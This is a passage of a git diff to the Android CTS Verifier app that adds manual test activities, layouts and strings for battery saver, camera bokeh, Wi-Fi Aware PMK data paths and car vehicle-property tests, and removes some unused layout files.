<meta-data android:name="SuiteName" android:value="CTS_VERIFIER" />
<meta-data android:name="android.telephony.HIDE_VOICEMAIL_SETTINGS_MENU"
@@ -160,6 +157,17 @@
android:theme="@style/OverlayTheme"
android:label="Overlaying Activity"/>
+ <activity
+ android:name=".battery.BatterySaverTestActivity"
+ android:label="@string/battery_saver_test"
+ android:configChanges="keyboardHidden|orientation|screenSize">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_other" />
+ </activity>
+
<activity android:name=".forcestop.RecentTaskRemovalTestActivity"
android:label="@string/remove_from_recents_test"
android:configChanges="keyboardHidden|orientation|screenSize">
@@ -1969,6 +1977,19 @@
<meta-data android:name="test_category" android:value="@string/test_category_camera" />
<meta-data android:name="test_required_features" android:value="android.hardware.camera.any" />
</activity>
+
+ <activity android:name=".camera.bokeh.CameraBokehActivity"
+ android:label="@string/camera_bokeh_test"
+ android:configChanges="keyboardHidden|screenSize"
+ android:screenOrientation="landscape">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_camera" />
+ <meta-data android:name="test_required_features" android:value="android.hardware.camera.any" />
+ </activity>
+
<activity android:name=".usb.accessory.UsbAccessoryTestActivity"
android:label="@string/usb_accessory_test"
android:configChanges="keyboardHidden|orientation|screenSize">
@@ -2089,12 +2110,26 @@
</intent-filter>
</receiver>
+ <receiver android:name=".notifications.AutomaticZenRuleStatusReceiver">
+ <intent-filter>
+ <action android:name="android.app.action.AUTOMATIC_ZEN_RULE_STATUS_CHANGED"/>
+ </intent-filter>
+ </receiver>
+
<activity android:name=".notifications.ConditionProviderVerifierActivity"
android:label="@string/cp_test">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
+ <intent-filter>
+ <action android:name="android.app.action.AUTOMATIC_ZEN_RULE" />
+ </intent-filter>
+ <meta-data android:name="android.service.zen.automatic.ruleType"
+ android:value="@string/cp_rule_type" />
+ <meta-data android:name="android.service.zen.automatic.ruleInstanceLimit"
+ android:value="2" />
+
<meta-data android:name="test_category" android:value="@string/test_category_notifications" />
<meta-data android:name="test_excluded_features"
android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
@@ -2124,8 +2159,6 @@
<activity android:name=".notifications.BubbleActivity"
android:label="@string/bubble_activity_title"
- android:allowEmbedded="true"
- android:documentLaunchMode="always"
android:resizeableActivity="true">
</activity>
@@ -2382,6 +2415,14 @@
android:label="@string/aware_data_path_passphrase_passive_subscribe"
android:configChanges="keyboardHidden|orientation|screenSize" />
+ <activity android:name=".wifiaware.DataPathPmkUnsolicitedPublishTestActivity"
+ android:label="@string/aware_data_path_pmk_unsolicited_publish"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
+ <activity android:name=".wifiaware.DataPathPmkPassiveSubscribeTestActivity"
+ android:label="@string/aware_data_path_pmk_passive_subscribe"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
<activity android:name=".wifiaware.DataPathOpenSolicitedPublishTestActivity"
android:label="@string/aware_data_path_open_solicited_publish"
android:configChanges="keyboardHidden|orientation|screenSize" />
@@ -2398,6 +2439,14 @@
android:label="@string/aware_data_path_passphrase_active_subscribe"
android:configChanges="keyboardHidden|orientation|screenSize" />
+ <activity android:name=".wifiaware.DataPathPmkSolicitedPublishTestActivity"
+ android:label="@string/aware_data_path_pmk_solicited_publish"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
+ <activity android:name=".wifiaware.DataPathPmkActiveSubscribeTestActivity"
+ android:label="@string/aware_data_path_pmk_active_subscribe"
+ android:configChanges="keyboardHidden|orientation|screenSize" />
+
<activity android:name=".wifiaware.DataPathOobOpenResponderTestActivity"
android:label="@string/aware_data_path_oob_open_responder"
android:configChanges="keyboardHidden|orientation|screenSize" />
@@ -3543,6 +3592,42 @@
</intent-filter>
</activity-alias>
+ <activity android:name=".car.GearSelectionTestActivity"
+ android:label="@string/gear_selection_test">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_car" />
+ <meta-data
+ android:name="test_required_features"
+ android:value="android.hardware.type.automotive"/>
+ </activity>
+
+ <activity android:name=".car.NightModeTestActivity"
+ android:label="@string/night_mode_test">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_car" />
+ <meta-data
+ android:name="test_required_features"
+ android:value="android.hardware.type.automotive"/>
+ </activity>
+
+ <activity android:name=".car.ParkingBrakeOnTestActivity"
+ android:label="@string/parking_brake_on_test">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.cts.intent.category.MANUAL_TEST" />
+ </intent-filter>
+ <meta-data android:name="test_category" android:value="@string/test_category_car" />
+ <meta-data
+ android:name="test_required_features"
+ android:value="android.hardware.type.automotive"/>
+ </activity>
+
<!-- 6DoF sensor test -->
<activity
android:name="com.android.cts.verifier.sensors.sixdof.Activities.StartActivity"
diff --git a/apps/CtsVerifier/proguard.flags b/apps/CtsVerifier/proguard.flags
index 85f378e..776ac1b 100644
--- a/apps/CtsVerifier/proguard.flags
+++ b/apps/CtsVerifier/proguard.flags
@@ -14,16 +14,20 @@
-keepclassmembers class * extends com.android.cts.verifier.location.BaseGnssTestActivity {
public <methods>;
}
--keepclassmembers class * extends android.location.cts.GnssTestCase {
+-keepclassmembers class * extends android.location.cts.common.GnssTestCase {
public <methods>;
}
# ensure we keep public camera test methods, these are needed at runtime
--keepclassmembers class * extends android.hardware.camera2.cts.testcases.Camera2AndroidTestCase {
+-keepclassmembers class android.hardware.camera2.cts.PerformanceTest {
public <methods>;
}
--keepclassmembers class * extends android.hardware.cts.CameraTestCase {
+-keepclassmembers class android.hardware.cts.LegacyCameraPerformanceTest {
+ public <methods>;
+}
+
+-keepclassmembers class org.junit.runners.JUnit4 {
public <methods>;
}
diff --git a/apps/CtsVerifier/res/layout/cf_format_list_item.xml b/apps/CtsVerifier/res/layout/camera_list_item.xml
similarity index 100%
rename from apps/CtsVerifier/res/layout/cf_format_list_item.xml
rename to apps/CtsVerifier/res/layout/camera_list_item.xml
diff --git a/apps/CtsVerifier/res/layout/camera_video.xml b/apps/CtsVerifier/res/layout/camera_video.xml
index 5dd28ab..e38d9a7 100644
--- a/apps/CtsVerifier/res/layout/camera_video.xml
+++ b/apps/CtsVerifier/res/layout/camera_video.xml
@@ -101,7 +101,7 @@
android:id="@+id/next_button"
android:layout_height="wrap_content"
android:layout_width="wrap_content"
- android:text="@string/cf_next_button" />
+ android:text="@string/next_button_text" />
</LinearLayout>
<LinearLayout
diff --git a/apps/CtsVerifier/res/layout/cb_main.xml b/apps/CtsVerifier/res/layout/cb_main.xml
new file mode 100644
index 0000000..67ae119
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/cb_main.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="fill_parent"
+ android:layout_height="fill_parent">
+
+ <LinearLayout
+ android:orientation="horizontal"
+ android:layout_width="fill_parent"
+ android:layout_height="0dp"
+ android:layout_weight="1" >
+
+ <LinearLayout
+ android:orientation="vertical"
+ android:layout_width="0dp"
+ android:layout_height="fill_parent"
+ android:layout_weight="3" >
+
+ <TextureView
+ android:id="@+id/preview_view"
+ android:layout_height="0dp"
+ android:layout_width="fill_parent"
+ android:layout_weight="3" />
+ <TextView
+ android:id="@+id/preview_label"
+ android:layout_height="wrap_content"
+ android:layout_width="fill_parent"
+ android:padding="2dp"
+ android:textSize="16sp"
+ android:gravity="center" />
+
+ </LinearLayout>
+ <LinearLayout
+ android:orientation="vertical"
+ android:layout_width="0dp"
+ android:layout_height="fill_parent"
+ android:layout_weight="3" >
+
+ <ImageView
+ android:id="@+id/image_view"
+ android:layout_height="0dp"
+ android:layout_width="fill_parent"
+ android:layout_weight="3" />
+ <TextView
+ android:id="@+id/image_label"
+ android:layout_height="wrap_content"
+ android:layout_width="fill_parent"
+ android:padding="2dp"
+ android:textSize="16sp"
+ android:gravity="center" />
+
+ </LinearLayout>
+
+ <LinearLayout
+ android:orientation="vertical"
+ android:layout_width="0dp"
+ android:layout_height="fill_parent"
+ android:layout_weight="2" >
+
+ <Spinner
+ android:id="@+id/cameras_selection"
+ android:layout_width="fill_parent"
+ android:layout_height="wrap_content"/>
+
+ <TextView
+ android:id="@+id/test_label"
+ android:layout_height="wrap_content"
+ android:layout_width="fill_parent"
+ android:padding="2dp"
+ android:textSize="16sp"
+ android:gravity="left" />
+
+ <Button
+ android:id="@+id/next_button"
+ android:layout_height="wrap_content"
+ android:layout_width="wrap_content"
+ android:text="@string/next_button_text" />
+
+ </LinearLayout>
+
+ </LinearLayout>
+
+ <include layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/cf_main.xml b/apps/CtsVerifier/res/layout/cf_main.xml
index 8a4fb7f..9a6c9a4 100644
--- a/apps/CtsVerifier/res/layout/cf_main.xml
+++ b/apps/CtsVerifier/res/layout/cf_main.xml
@@ -91,7 +91,7 @@
android:id="@+id/next_button"
android:layout_height="wrap_content"
android:layout_width="wrap_content"
- android:text="@string/cf_next_button" />
+ android:text="@string/next_button_text" />
</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/ci_format_list_item.xml b/apps/CtsVerifier/res/layout/ci_format_list_item.xml
deleted file mode 100644
index 8196bbf..0000000
--- a/apps/CtsVerifier/res/layout/ci_format_list_item.xml
+++ /dev/null
@@ -1,23 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<TextView xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent"
- android:padding="10dp"
- android:textSize="16sp"
-/>
diff --git a/apps/CtsVerifier/res/layout/co_format_list_item.xml b/apps/CtsVerifier/res/layout/co_format_list_item.xml
deleted file mode 100644
index 8196bbf..0000000
--- a/apps/CtsVerifier/res/layout/co_format_list_item.xml
+++ /dev/null
@@ -1,23 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<TextView xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent"
- android:padding="10dp"
- android:textSize="16sp"
-/>
diff --git a/apps/CtsVerifier/res/layout/gear_selection_test.xml b/apps/CtsVerifier/res/layout/gear_selection_test.xml
new file mode 100644
index 0000000..20508c1
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/gear_selection_test.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+
+ <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="1"
+ android:orientation="horizontal">
+
+ <TextView
+ android:id="@+id/expected_gear_selection_title"
+ android:layout_width="0dp"
+ android:layout_weight="1"
+ android:layout_height="wrap_content"
+ android:gravity="center"
+ android:text="@string/expected_gear_selection_title"
+ android:textSize="50dip" />
+
+ <TextView
+ android:id="@+id/current_gear_selection_title"
+ android:layout_width="0dp"
+ android:layout_weight="1"
+ android:layout_height="wrap_content"
+ android:gravity="center"
+ android:text="@string/current_gear_selection_title"
+ android:textSize="50dip" />
+
+
+ </LinearLayout>
+
+ <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="2"
+ android:orientation="horizontal">
+
+ <TextView
+ android:id="@+id/expected_gear_selection"
+ android:layout_width="0dp"
+ android:layout_weight="1"
+ android:layout_height="wrap_content"
+ android:gravity="center"
+ android:textSize="75dip" />
+
+ <TextView
+ android:id="@+id/current_gear_selection"
+ android:layout_width="0dp"
+ android:layout_weight="1"
+ android:layout_height="wrap_content"
+ android:gravity="center"
+ android:textSize="75dip" />
+
+ </LinearLayout>
+
+ <include layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/iva_pass_fail_item.xml b/apps/CtsVerifier/res/layout/iva_pass_fail_item.xml
new file mode 100644
index 0000000..4bf5b63
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/iva_pass_fail_item.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content" >
+
+ <ImageView
+ android:id="@+id/nls_status"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_alignParentLeft="true"
+ android:layout_alignParentTop="true"
+ android:layout_marginTop="10dip"
+ android:contentDescription="@string/pass_button_text"
+ android:padding="10dip"
+ android:src="@drawable/fs_indeterminate" />
+
+ <TextView
+ android:id="@+id/nls_instructions"
+ style="@style/InstructionsSmallFont"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_alignParentRight="true"
+ android:layout_alignParentTop="true"
+ android:layout_toRightOf="@id/nls_status"
+ android:text="@string/nls_enable_service" />
+
+ <Button
+ android:id="@+id/iva_action_button_pass"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_alignParentRight="true"
+ android:layout_below="@id/nls_instructions"
+ android:layout_marginLeft="20dip"
+ android:layout_marginRight="20dip"
+ android:layout_toRightOf="@id/nls_status"
+ android:text="@string/iva_pass"
+ android:onClick="actionPassed" />
+ <Button
+ android:id="@+id/iva_action_button_fail"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:layout_alignParentRight="true"
+ android:layout_toRightOf="@id/nls_status"
+ android:layout_below="@id/iva_action_button_pass"
+ android:layout_marginLeft="20dip"
+ android:layout_marginRight="20dip"
+ android:onClick="actionFailed"
+ android:text="@string/iva_fail" />
+
+ <Button
+ android:id="@+id/nls_action_button"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_alignParentRight="true"
+ android:layout_below="@id/nls_instructions"
+ android:layout_marginLeft="20dip"
+ android:layout_marginRight="20dip"
+ android:layout_toRightOf="@id/nls_status"
+ android:onClick="actionPressed"
+ android:visibility="gone"
+ android:text="@string/nls_start_settings" />
+
+</RelativeLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/night_mode_test.xml b/apps/CtsVerifier/res/layout/night_mode_test.xml
new file mode 100644
index 0000000..cdba032
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/night_mode_test.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+ http://www.apache.org/licenses/LICENSE-2.0
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <TextView
+ android:id="@+id/night_mode_instruction"
+ android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="1"
+ android:gravity="center"
+ android:textSize="50dip" />
+ <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="2"
+ android:orientation="horizontal">
+ <TextView
+ android:id="@+id/current_night_mode_value_title"
+ android:layout_width="0dp"
+ android:layout_weight="2"
+ android:layout_height="match_parent"
+ android:gravity="center"
+ android:text="@string/current_night_mode_value_title"
+ android:textSize="50dip" />
+ <TextView
+ android:id="@+id/current_night_mode_value"
+ android:layout_width="0dp"
+ android:layout_weight="1"
+ android:layout_height="match_parent"
+ android:gravity="center"
+ android:textSize="50dip" />
+ </LinearLayout>
+ <include layout="@layout/pass_fail_buttons" />
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/ordered_test.xml b/apps/CtsVerifier/res/layout/ordered_test.xml
new file mode 100644
index 0000000..1c0b029
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/ordered_test.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <TextView
+ android:id="@+id/txt_instruction"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ style="@style/InstructionsSmallFont"
+ android:layout_alignParentTop="true" />
+
+ <Button
+ android:id="@+id/btn_next"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:text="@string/next_button_text"
+ android:layout_below="@id/txt_instruction" />
+
+ <include android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:layout_alignParentBottom="true"
+ layout="@layout/pass_fail_buttons" />
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/parking_brake_on_test.xml b/apps/CtsVerifier/res/layout/parking_brake_on_test.xml
new file mode 100644
index 0000000..23faaab
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/parking_brake_on_test.xml
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+
+ <TextView
+ android:id="@+id/instruction"
+ android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="1"
+ android:gravity="center"
+ android:textSize="50dip" />
+
+ <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="0dp"
+ android:layout_weight="2"
+ android:orientation="horizontal">
+
+ <TextView
+ android:id="@+id/current_parking_brake_on_value_title"
+ android:layout_width="0dp"
+ android:layout_weight="2"
+ android:layout_height="match_parent"
+ android:gravity="center"
+ android:text="@string/current_parking_brake_on_value_title"
+ android:textSize="50dip" />
+
+ <TextView
+ android:id="@+id/current_parking_brake_on_value"
+ android:layout_width="0dp"
+ android:layout_weight="1"
+ android:layout_height="match_parent"
+ android:gravity="center"
+ android:textSize="50dip" />
+
+ </LinearLayout>
+
+ <include layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/screen_pinning.xml b/apps/CtsVerifier/res/layout/screen_pinning.xml
deleted file mode 100644
index f1d7b65..0000000
--- a/apps/CtsVerifier/res/layout/screen_pinning.xml
+++ /dev/null
@@ -1,62 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright (C) 2014 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="match_parent" >
-
- <TextView
- android:id="@+id/error_text"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content" />
-
- <ScrollView
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:layout_alignParentTop="true" >
-
- <RelativeLayout
- android:id="@+id/instructions_group"
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:orientation="vertical" >
-
- <LinearLayout
- android:id="@+id/instructions_list"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:orientation="vertical" >
-
- </LinearLayout>
-
- <Button
- android:id="@+id/next_button"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_alignParentEnd="true"
- android:layout_below="@id/instructions_list"
- android:text="@string/next_button_text" />
-
- </RelativeLayout>
- </ScrollView>
-
- <include
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- android:layout_alignParentBottom="true"
- layout="@layout/pass_fail_buttons" />
-
-</RelativeLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index cfdc8ce..24ec5b2 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -23,6 +23,7 @@
<string name="fail_button_text">Fail</string>
<string name="next_button_text">Next</string>
<string name="go_button_text">Go</string>
+ <string name="tests_completed_successfully">All tests completed successfully.</string>
<string name="retry_button_text">Retry</string>
<string name="finish_button_text">Finish</string>
@@ -76,6 +77,35 @@
<string name="bu_generate_error">Error occurred while generating test data...</string>
<string name="bu_settings">Settings</string>
+ <!-- Strings for BatterySaverTestActivity -->
+ <string name="battery_saver_test">Battery Saver Test</string>
+ <string name="battery_saver_test_info">
+ This test verifies that the device provides a user affordance to enable and disable
+ Battery Saver feature.
+ </string>
+ <string name="battery_saver_test_no_battery_detected">
+ No battery detected. This test will only work on devices that contain a battery.
+ </string>
+ <string name="battery_saver_test_unplug">
+ Unplug the device or run \"adb shell dumpsys battery unplug\".
+ </string>
+ <string name="battery_saver_test_device_plugged_in">
+ The device is still plugged in.
+ </string>
+ <string name="battery_saver_test_enable_bs">
+ Look for a button that allows you to turn Battery Saver on and off. The button may be in the
+ Quick Settings section or on the Battery page of device settings. Use the button to turn
+ Battery Saver on.
+ </string>
+ <string name="battery_saver_test_disable_bs">
+ Now use the button to turn Battery Saver off.
+ </string>
+ <string name="battery_saver_test_start_turn_bs_off">
+ Turn Battery Saver off to begin the test.
+ </string>
+ <string name="battery_saver_test_bs_on">Battery Saver is on.</string>
+ <string name="battery_saver_test_bs_off">Battery Saver is off.</string>
+
<!-- Strings for Device Administration tests -->
<string name="da_policy_serialization_test">Policy Serialization Test</string>
<string name="da_policy_serialization_info">This test checks that a device policy is properly
@@ -104,6 +134,25 @@
framework correctly tries to open the CAR_DOCK app again.</string>
<string name="car_mode_enable">Enable Car Mode</string>
<string name="car_dock_activity_text">Press the Home button</string>
+ <string name="gear_selection_test">Gear Selection Test</string>
+ <string name="gear_selection_test_desc">This test ensures that the
+ GEAR_SELECTION property is implemented correctly.\n\nShift the car\'s
+ gear to the expected gear value. If it is able to shift to all the
+ implemented gears then the pass button will be enabled.</string>
+ <string name="expected_gear_selection_title">Expected Gear Selection</string>
+ <string name="current_gear_selection_title">Current Gear Selection</string>
+ <string name="night_mode_test">NIGHT_MODE Test</string>
+ <string name="night_mode_test_desc">This test ensures that the NIGHT_MODE vehicle property is
+ implemented correctly.\n\nFollow the instructions on the screen to engage and disengage
+ NIGHT_MODE through the vehicle HAL. When the instructions are completed, the pass button
+ will be enabled.</string>
+ <string name="current_night_mode_value_title">Current NIGHT_MODE Value:</string>
+ <string name="parking_brake_on_test">PARKING_BRAKE_ON Test</string>
+ <string name="parking_brake_on_test_desc">This test ensures that the
+ PARKING_BRAKE_ON property is implemented correctly.\n\nFollow the
+ instructions on the screen to engage and disengage the parking brake. When
+ the instructions are completed, the pass button will be enabled.</string>
+ <string name="current_parking_brake_on_value_title">Current PARKING_BRAKE_ON Value:</string>
<string name="da_no_policy">1. Press the \"Generate Policy\" to create a random device
policy\n\n2. Press \"Apply Policy\" to put the policy into effect.\n\n3. Reboot your
device and return to this test in the CTS Verifier.
@@ -823,7 +872,7 @@
<string name="multinetwork_connectivity_test_all_prereq_1">Looks like your device does not support telephony or mobile data. If yes, you can mark test passed and proceed.</string>
<string name="multinetwork_connectivity_test_all_prereq_2">Need mobile data to proceed. Please insert a mobile data capable sim and repeat the test. By marking test as passed, you acknowledge that the device cannot do mobile data.</string>
<string name="multinetwork_status_wifi_connectivity_failed">Wi-Fi connectivity failed.</string>
- <string name="multinetwork_connectivity_overlay_permission_message">This test requires the CTS verifier to have the system overlay permission, please enable it in the next screen.</string>
+ <string name="multinetwork_connectivity_overlay_permission_message">This test requires the CTS verifier to have the system overlay permission, please locate CTS Verifier app in the next screen, then enable it.</string>
<string name="multinetwork_connectivity_overlay_permission_positive">Settings</string>
<string name="multinetwork_connectivity_overlay_permission_negative">Cancel</string>
<!-- Strings for NfcTestActivity -->
@@ -1343,7 +1392,6 @@
</string>
<string name="cf_preview_label">Normal preview</string>
<string name="cf_format_label">Processed callback data</string>
- <string name="cf_next_button">Next</string>
<!-- Strings for Camera Video -->
<string name="record_button_text">Test</string>
@@ -1501,6 +1549,19 @@
<string name="sv_failed_title">Test Failed</string>
<string name="sv_failed_message">Unable to play stream. See log for details.</string>
+ <!-- Strings for the Camera Bokeh mode test activity -->
+ <string name="camera_bokeh_test">Camera Bokeh</string>
+ <string name="camera_bokeh_test_info">
+ This test checks camera bokeh mode functionality. It enumerates supported bokeh modes, and
+ makes sure each non-OFF bokeh mode works correctly. For optimal and consistent results,
+ please make sure the camera device is pointing to a well-lit scene with a human face in
+ the center at least 1 meter away, and the rest of the scene is further away in the
+ background.
+ </string>
+ <string name="camera_bokeh_no_support">
+ None of the camera devices support bokeh modes. Please click the Test Passed button.
+ </string>
+
<!-- Strings for TestListActivity -->
<string name="wifi_test">Wi-Fi Test</string>
<string name="wifi_test_info">
@@ -1743,8 +1804,10 @@
<string name="aware_dp_ib_open_unsolicited">Data Path: Open: Unsolicited/Passive</string>
<string name="aware_dp_ib_passphrase_unsolicited">Data Path: Passphrase: Unsolicited/Passive</string>
+ <string name="aware_dp_ib_pmk_unsolicited">Data Path: PMK: Unsolicited/Passive</string>
<string name="aware_dp_ib_open_solicited">Data Path: Open: Solicited/Active</string>
